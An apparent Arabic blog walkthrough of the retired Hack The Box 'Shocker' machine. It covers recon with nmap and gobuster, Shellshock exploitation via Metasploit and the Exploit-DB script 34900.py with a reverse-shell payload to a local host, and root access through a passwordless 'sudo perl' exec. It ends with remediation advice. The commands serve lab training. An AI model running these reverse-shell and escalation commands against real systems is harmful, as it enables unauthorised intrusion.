استكشاف ثغرة Shellshock: اختراق Shocker في Hack The Box خطوة بخطوة

دقائق القراءة: 8

منصة Hack The Box (HTB) هي بيئة تدريبية تفاعلية على الإنترنت تتيح للمحترفين والهواة على حد سواء صقل مهاراتهم في اختبار الاختراق والأمن السيبراني. تتضمن المنصة مجموعة واسعة من التحديات التي تُحدّث باستمرار، بعضها يحاكي سيناريوهات واقعية للأنظمة المخترقة، بينما يميل البعض الآخر إلى أسلوب تحديات Capture The Flag (CTF). في هذا المقال، سنستعرض بالتفصيل كيفية اختراق جهاز Shocker، وهو أحد الأجهزة المتقاعدة في HTB، والذي يسلط الضوء على خطورة استغلال Shellshock الشهير الذي أثر على ملايين الخوادم العامة.

ملاحظة هامة: يُسمح بنشر شروحات أجهزة HTB المتقاعدة فقط.

صورة توضيحية لمنصة Hack The Box

لاستغلال جهاز Shocker على نظام Kali Linux، سنستخدم الأدوات التالية:

  • nmap
  • gobuster
  • curl
  • searchsploit
  • metasploit

لنبدأ رحلتنا في عالم اختبار الاختراق.

كخطوة أولى، نقوم بإضافة إدخال لجهاز Shocker في ملف /etc/hosts لتسهيل الوصول إليه بالاسم بدلاً من عنوان IP. افتح الملف باستخدام nano:

nano /etc/hosts

ثم أضف السطر التالي:

10.10.10.56 shocker.htb

إضافة Shocker.htb إلى ملف hosts

الخطوة 1: الاستطلاع وجمع المعلومات (Reconnaissance)

تُعد مرحلة الاستطلاع من أهم الخطوات قبل محاولة اختراق أي نظام. كلما أمضيت وقتاً أطول في جمع المعلومات، زادت فرصتك في تحديد نقاط الضعف المحتملة واستغلالها بنجاح.

فحص المنافذ (Port Scanning) باستخدام Nmap

سنبدأ باستخدام أداة Nmap (Network Mapper)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمان. تستخدم Nmap حزم IP الأولية لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع جدران الحماية المستخدمة، والعديد من الخصائص الأخرى.

نتائج فحص Nmap الأولي

لإجراء فحص مكثف وشامل، استخدم الأمر التالي:

nmap -A -v shocker.htb
  • -A: يُمكّن الكشف عن نظام التشغيل، كشف الإصدارات، فحص السكربتات، وتتبع المسار (traceroute).
  • -v: يزيد من مستوى الإسهاب (verbosity) في الإخراج.
  • shocker.htb: اسم المضيف المستهدف لجهاز Shocker.

إذا كانت النتائج تبدو معقدة أو كثيرة جداً، يمكنك تجربة فحص أبسط:

nmap shocker.htb

نتائج فحص Nmap المبسط

من خلال الفحص، نلاحظ وجود منفذين مفتوحين:

  • المنفذ 80: يُستخدم غالباً لبروتوكول Hypertext Transfer Protocol (HTTP).
  • المنفذ 2222: يُستخدم لرسائل EtherNet/IP الضمنية لبيانات الإدخال/الإخراج.

فحص الدلائل (Directory Scanning) باستخدام Gobuster

بعد فحص المنافذ، ننتقل إلى فحص الدلائل للعثور على مسارات أو ملفات مخفية على خادم الويب. سنستخدم أداة Gobuster، وهي ماسح ضوئي للدلائل مكتوب بلغة Go.

تستخدم Gobuster قوائم كلمات (wordlists) موجودة في نظام Kali Linux، تحديداً في دليل /usr/share/wordlists. سنستخدم قوائم الكلمات من dirb و dirbuster، ويمكنك أيضاً تنزيل المزيد من قوائم الكلمات من SecLists.

نتائج فحص Gobuster الأولي

نُجري فحصاً باستخدام قائمة الكلمات dirb/common.txt:

gobuster dir -u shocker.htb -w /usr/share/wordlists/dirb/common.txt

أسفر هذا الفحص عن نتائج مهمة، أبرزها اكتشاف المسار /cgi-bin/. هذا المسار غالباً ما يحتوي على سكربتات قابلة للتنفيذ.

نقوم بفحص دلائل إضافي مع التركيز على الامتدادات الشائعة لسكربتات CGI (مثل cgi، sh، pl، py) داخل المسار /cgi-bin:

gobuster dir -u shocker.htb/cgi-bin -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,pl,py

فحص Gobuster لدليل cgi-bin

هنا نكتشف شيئاً مثيراً للاهتمام: الملف /user.sh.

الخطوة 2: فهم ثغرة Shellshock

بناءً على مرحلة الاستطلاع، قررنا البدء بالتحقيق في المنفذ 80. عند زيارة الصفحة، نجدها غير مفيدة بشكل مباشر.

الصفحة الرئيسية للمنفذ 80

باستخدام الأمر curl لفحص محتوى shocker.htb/cgi-bin/user.sh، نلاحظ أن السكربت يقوم بتشغيل أوامر bash.

curl shocker.htb/cgi-bin/user.sh

نتائج curl لـ user.sh

بالبحث حول اسم الجهاز ونظام استغلال Linux، نصل إلى ثغرة Shellshock. تُعرف Shellshock، أو Bashdoor، بأنها عائلة من الأخطاء الأمنية في صدفة Unix Bash، وقد كُشف عن أولها في 24 سبتمبر 2014. تمكن Shellshock المهاجم من جعل Bash ينفذ أوامر عشوائية ويحصل على وصول غير مصرح به إلى العديد من الخدمات المواجهة للإنترنت، مثل خوادم الويب، التي تستخدم Bash لمعالجة الطلبات.

كيف تعمل ثغرة Shellshock؟

تعتمد Shellshock على حقيقة أن Bash يقوم بتنفيذ الأوامر اللاحقة عندما يستورد تعريف دالة مخزنة في متغير بيئة (environment variable). نظراً لأن هذه المتغيرات لا تُعالج بشكل صحيح قبل التنفيذ، يمكن للمهاجم إرسال أوامر إلى الخادم عبر طلبات HTTP وتنفيذها من خلال نظام تشغيل خادم الويب.

تحدث ثغرة Shellshock عندما يقوم المهاجم بتعديل طلب HTTP الأصلي ليحتوي على السلسلة التالية:

() { :; };

لدى Bash قواعد خاصة للتعامل مع متغير يبدأ بهذا النمط، وسوف يفسره كأمر يحتاج إلى التنفيذ.

يمكنك قراءة المزيد عن هذه الثغرة في قواعد بيانات الثغرات الوطنية (National Vulnerability Database) أو الاطلاع على عروض OWASP التقديمية ذات الصلة:

صفحة CVE-2014-6271 في NVD

كما كتبت شركة F5 مقالاً حول هذا الاستغلال:

مقال F5 حول Shellshock

الخطوة 3أ: استغلال Bashdoor باستخدام Metasploit

سنستخدم إطار عمل Metasploit، وهو أداة أساسية للعديد من مختبري الاختراق والمدافعين، حيث يبسط عملية الاستغلال.

واجهة Metasploit Framework

نبدأ بتشغيل Metasploit Framework على Kali Linux. لا تنسَ تحديث Metasploit عند تشغيله باستخدام الأمر التالي:

msfupdate

يمكنك التحقق مما إذا كان الهدف عرضة لثغرة Shellshock باستخدام وحدة مساعدة (auxiliary module). ابدأ بهذا الأمر للبحث عن الوحدات ذات الصلة:

search shellshock

نتائج بحث Metasploit عن shellshock

ثم اختر الوحدة المساعدة المناسبة (عادةً ما تكون الخيار 0 في القائمة) باستخدام:

use 0

أو بالأمر الكامل:

use auxiliary/scanner/http/apache_mod_cgi_bash_env

اختيار وحدة Metasploit المساعدة

يمكنك التحقق من الخيارات المتاحة باستخدام show options. قم بتعيين RHOSTS (المضيف البعيد) إلى shocker.htb:

set RHOSTS shocker.htb

وعيّن TARGETURI (المسار المستهدف) إلى /cgi-bin/user.sh:

set TARGETURI /cgi-bin/user.sh

بعد ذلك، قم بتشغيل الفحص للتحقق من الثغرة:

check

إذا كانت النتائج تشير إلى أن المضيف عرضة لثغرة Shellshock، يمكننا المتابعة إلى الاستغلال. سنستخدم الاستغلال (exploit) المناسب، والذي عادةً ما يكون الخيار 5 من قائمة البحث السابقة، أو بالأمر الكامل:

use exploit/multi/http/apache_mod_cgi_bash_env_exec

نقوم بتعيين RHOSTS و TARGETURI مرة أخرى، بالإضافة إلى LHOST (المضيف المحلي)، والذي كان في حالتي 10.10.14.28. تأكد من تعيينه إلى عنوان IP الخاص بجهاز Kali Linux الخاص بك.

إعدادات Metasploit للاستغلال

نتحقق من الخيارات للتأكد من إعداد كل شيء بشكل صحيح:

التحقق من خيارات Metasploit

ثم نقوم بتشغيل الاستغلال:

run

تشغيل الاستغلال والحصول على Meterpreter

نحصل على جلسة Meterpreter. Meterpreter هو حمولة متقدمة وقابلة للتوسيع ديناميكياً، تستخدم حقن DLL في الذاكرة وتتوسع عبر الشبكة في وقت التشغيل. توفر واجهة Ruby API شاملة، وتتميز بسجل الأوامر، والإكمال التلقائي، والقنوات، والمزيد.

لنبدأ بجمع بعض المعلومات. الأمر getuid يُرجع معرّف المستخدم الحقيقي للعملية الحالية:

نتائج getuid في Meterpreter

الخطوة 3ب: استغلال Bashdoor بدون Metasploit

يمكننا أيضاً استغلال هذه الثغرة يدوياً دون الحاجة إلى Metasploit. سنستخدم أداة Searchsploit للبحث عن استغلالات معروفة. Searchsploit هي أداة سطر أوامر للبحث في قاعدة بيانات Exploit Database.

نبحث عن استغلالات Shellshock:

searchsploit shellshock

نتائج searchsploit لـ shellshock

نحصل على تفاصيل حول استغلال معين (على سبيل المثال، 34900.py):

searchsploit -x 34900.py

تفاصيل استغلال 34900.py

يمكنك أيضاً التحقق من قاعدة بيانات Exploit Database مباشرة للعثور على نفس الاستغلال:

صفحة استغلال 34900 في Exploit Database

لمعرفة موقع الاستغلال على نظام Kali الخاص بي، أستخدم الأمر:

searchsploit -p 34900.py

موقع استغلال 34900.py

أقوم بنسخ الملف إلى مجلد العمل الخاص بي:

cp /usr/share/exploitdb/exploits/linux/remote/34900.py .

وللتأكد من نسخه، أتحقق من محتويات المجلد:

ls -la

نسخ ملف الاستغلال والتحقق منه

الآن، نقوم بتشغيل الاستغلال باستخدام Python. نُعيّن الحمولة (payload) لتكون reverse للحصول على TCP reverse shell، ونحدد rhost (المضيف البعيد)، و lhost (المضيف المحلي)، و lport (المنفذ المحلي)، بالإضافة إلى pages (المسار المستهدف):

python 34900.py payload=reverse rhost=shocker.htb lhost=10.10.14.4 lport=1234 pages=/cgi-bin/user.sh

تشغيل استغلال Python والحصول على shell

وبذلك نحصل على shell!

الخطوة 4: البحث عن علم المستخدم (user.txt)

بعد الحصول على وصول أولي، نبدأ بالبحث عن علم المستخدم (user.txt). ننتقل إلى مجلد home ثم إلى مجلد shelly. يمكننا سرد جميع الملفات والمجلدات باستخدام الأمر:

ls -la

ثم ننتقل إلى مجلد home:

cd home

التنقل إلى مجلد home والبحث عن user.txt

هنا نجد علم المستخدم! نتحقق من محتويات الملف باستخدام الأمر:

cat user.txt

الخطوة 5: البحث عن علم الجذر (root.txt) وتصعيد الامتيازات

نحاول الانتقال إلى مجلد root، لكن الوصول مرفوض. هذا يعني أننا بحاجة إلى تصعيد الامتيازات (privilege escalation) للحصول على صلاحيات المستخدم الجذر.

رفض الوصول إلى مجلد root

أولاً، نحصل على shell قياسي على النظام المستهدف باستخدام الأمر:

shell

ثم نقوم بإنشاء TTY shell للحصول على تفاعل أفضل مع سطر الأوامر:

python3 -c "import pty; pty.spawn('/bin/bash/');"

لتصعيد الامتيازات، نحتاج إلى معرفة ما إذا كان المستخدم الحالي (shelly) لديه أي صلاحيات sudo خاصة. نستخدم الأمر sudo -l لفهم الأوامر التي يمكننا تشغيلها كمستخدم آخر (عادةً root) دون كلمة مرور:

sudo -l

نتائج sudo -l

نكتشف أن المستخدم shelly يمكنه تنفيذ أمر Perl كمستخدم root بدون كلمة مرور! هذا هو مسار تصعيد الامتيازات لدينا. نقوم بتصعيد الامتيازات باستخدام Perl:

sudo perl -e 'exec "/bin/bash";'

تصعيد الامتيازات باستخدام Perl

الآن أصبحنا root! يمكننا التنقل إلى مجلد root. نجد ملف root.txt ونتحقق من محتواه باستخدام الأمر:

cat root.txt

العثور على علم root.txt

تهانينا! لقد عثرت على كلا العلمين بنجاح.

الإجراءات التصحيحية (Remediations)

لتجنب التعرض لثغرات مثل Shellshock، يُنصح باتخاذ الإجراءات التالية:

  • تحديث Bash: قم بترقية Bash إلى إصدار لا يفسر النمط () { :; }; بطريقة خاصة تؤدي إلى تنفيذ الأوامر.
  • ترقيع الخوادم: حافظ على تحديث جميع أنظمة التشغيل والبرامج والتطبيقات على خوادمك بأحدث التصحيحات الأمنية.
  • مراجعة الأكواد: قم بمراجعة الأكواد المصدرية للسكربتات التي تعمل كـ CGI للتأكد من أنها لا تعالج متغيرات البيئة بشكل غير آمن.
  • تطبيق مبدأ الامتيازات الأقل: تأكد من أن الخدمات تعمل بأقل الامتيازات اللازمة لوظائفها.

الخلاصة التقنية

لقد قدم هذا الدليل رحلة عملية ومفصلة في عالم اختبار الاختراق، مع التركيز على استغلال ثغرة Shellshock الشهيرة في جهاز Shocker ضمن منصة Hack The Box. بدأت العملية بمرحلة الاستطلاع الدقيقة باستخدام أدوات مثل Nmap لفحص المنافذ و Gobuster لاكتشاف الدلائل والملفات المخفية، مما قادنا إلى تحديد مسار /cgi-bin/user.sh الحرج. بعد ذلك، تعمقنا في فهم طبيعة ثغرة Shellshock، وكيف تستغل معالجة Bash لمتغيرات البيئة لتنفيذ أوامر عشوائية.

أظهرنا طريقتين لاستغلال الثغرة: الأولى باستخدام إطار عمل Metasploit القوي الذي يوفر وحدات جاهزة للتحقق والاستغلال، والثانية يدوياً باستخدام سكربت Python من قاعدة بيانات Exploit Database، مما يؤكد على أهمية فهم آليات الاستغلال الأساسية. بعد الحصول على وصول أولي، تمكنا من تصعيد الامتيازات من مستخدم عادي إلى root من خلال استغلال نقطة ضعف في إعدادات sudo، حيث سُمح للمستخدم بتشغيل Perl بصلاحيات الجذر دون كلمة مرور.

تُبرز هذه التجربة أهمية التحديثات الأمنية المنتظمة، والتحقق من إعدادات الصلاحيات، وفهم كيفية تفاعل المكونات المختلفة للنظام (مثل Bash و CGI) لتجنب الثغرات الحرجة. إن Shellshock مثال كلاسيكي على كيف يمكن لثغرة تبدو بسيطة في معالجة متغيرات البيئة أن تؤدي إلى اختراق كامل للنظام، مما يؤكد على الحاجة المستمرة لليقظة الأمنية والترقيع الفوري.

صورة خلفية رقمية لمدينة سايبربانك

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *